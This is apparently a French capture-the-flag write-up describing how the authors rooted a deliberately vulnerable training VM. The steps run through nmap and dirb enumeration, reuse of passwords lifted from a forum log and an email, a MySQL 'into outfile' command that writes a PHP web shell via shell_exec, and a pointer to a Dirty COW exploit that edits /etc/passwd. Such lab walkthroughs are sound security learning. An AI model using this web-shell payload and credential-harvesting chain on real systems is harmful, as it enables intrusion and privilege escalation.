-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwriteup2
134 lines (104 loc) · 6.04 KB
/
writeup2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#Writeup2
La permiere etape est de retrouver l'ip de la vm de notre os et les ports ouverts. Pour ça, deux solutions :
Solution 1:
------------------------------------------------------------------------
➜ ~ VBoxManage guestproperty get BornToSecHack "/VirtualBox/GuestInfo/Net/0/V4/IP"
Value: 10.11.200.67
➜ ~ nmap -n -sV 10.11.200.67
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-25 08:43 EDT
Nmap scan report for 10.11.200.67
Host is up (0.00057s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.2.22
993/tcp open ssl/imaps?
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
------------------------------------------------------------------------
Solution 2:
Sur une VM Debian, j'utilise la commande "ip addrr" pour trouver mon ip.
------------------------------------------------------------------------
mmartins@debian:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:d5:a2:fd brd ff:ff:ff:ff:ff:ff
inet 10.11.200.187/16 brd 10.11.255.255 scope global dynamic enp0s3 . <--------------------------
valid_lft 4477sec preferred_lft 4477sec
inet6 fe80::a00:27ff:fed5:a2fd/64 scope link
valid_lft forever preferred_lft forever
mmartins@debian:~$ nmap -n -sV 10.11.200.1-254
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-25 08:20 EDT
Nmap scan report for 10.11.200.4
Host is up (0.0010s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.11.200.67
Host is up (0.0017s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.2.22
993/tcp open ssl/imaps?
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
------------------------------------------------------------------------
Ensuite on utilise "dirb" pour analyser toutes les uri possibles
------------------------------------------------------------------------
mmartins@debian:~$ dirb https://10.11.200.67 | grep DIRECTORY
==> DIRECTORY: https://10.11.200.67/forum/
==> DIRECTORY: https://10.11.200.67/phpmyadmin/
==> DIRECTORY: https://10.11.200.67/webmail/
==> DIRECTORY: https://10.11.200.67/forum/images/
==> DIRECTORY: https://10.11.200.67/forum/includes/
==> DIRECTORY: https://10.11.200.67/forum/js/
==> DIRECTORY: https://10.11.200.67/forum/lang/
==> DIRECTORY: https://10.11.200.67/forum/modules/
==> DIRECTORY: https://10.11.200.67/forum/templates_c/
==> DIRECTORY: https://10.11.200.67/forum/themes/
==> DIRECTORY: https://10.11.200.67/forum/update/
...
------------------------------------------------------------------------
Maintenant on va essayer ces urls dans un navigateur.
Sur "https://10.11.200.67/forum/" on trouve un sujet interessant : "probleme login ?" posté par "lmezard" avec des log.
En lisant un peu ces logs, on peut voir une ligne surprenante :
------------------------------------------------------------------------
Oct 5 08:45:29 BornToSecHackMe sshd[7547]: Failed password for invalid user !q\]Ej?*5K5cy*AJ from 161.202.39.38 port 57764 ssh2
------------------------------------------------------------------------
invalid user ?! l'utilisateur aurait-il taper son password au lieu de son login ?!
Essayons ! => Ça fonctionne !
En allant sur la page perso de lmezard on accede a certaines données comme son adresse mail : "laurie@borntosec.net"
Allons essayer ça sur "https://10.11.200.67/webmail/" avec le même mot de passe => Ça fonctionne encore !!
En explorant les emails reçus et envoyés, un des sujets attire notre attention : "DB Access" =>
------------------------------------------------------------------------
Hey Laurie,
You cant connect to the databases now. Use root/Fg-'kKXBj87E:aJ$
Best regards.
------------------------------------------------------------------------
Super, un password pour le user root de la db !
Allons sur "https://10.11.200.67/phpmyadmin/"
Parfait, maintenant nous avons un accés root sur phpmyadmin, nous allons pouvoir essayer de faire des Local File Inclusion(LFI).
Voici un petit article qui nous a aidé a comprendre les LFI : "http://www.informit.com/articles/article.aspx?p=1407358&seqNum=2"
Aprés quelques tests, nous avons remarqué que nous pouvions inserer des fichier dans "/forum/templates_c/"
```
select "<?php $output = shell_exec('cat /home/LOOKATME/password'); echo $output ?>" into outfile "/var/www/forum/templates_c/LFI.php"
```
Ensuite il faut donc se rendre a l'url suivante "https://10.11.200.67/forum/templates_c/LFI.php" pour obtenir : lmezard:G!@M6f4Eatau{sF"
Voila, nous avons un accés à la machine :).
Apres quelques recherches, on a trouvé une faille assez connue car présente sur tous les noyaux linux depuis 2007 : Dirty COW (Copy-On-Write)
On profite de cet faille pour changer le fichier /etc/password et ainsi passer root en utilisant le script suivant :
"https://www.exploit-db.com/exploits/40839".
Voici une liste des multiples exploits existant pour cette faille: "https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs"
TADAAAM !!! JE S'APPELLE ROOT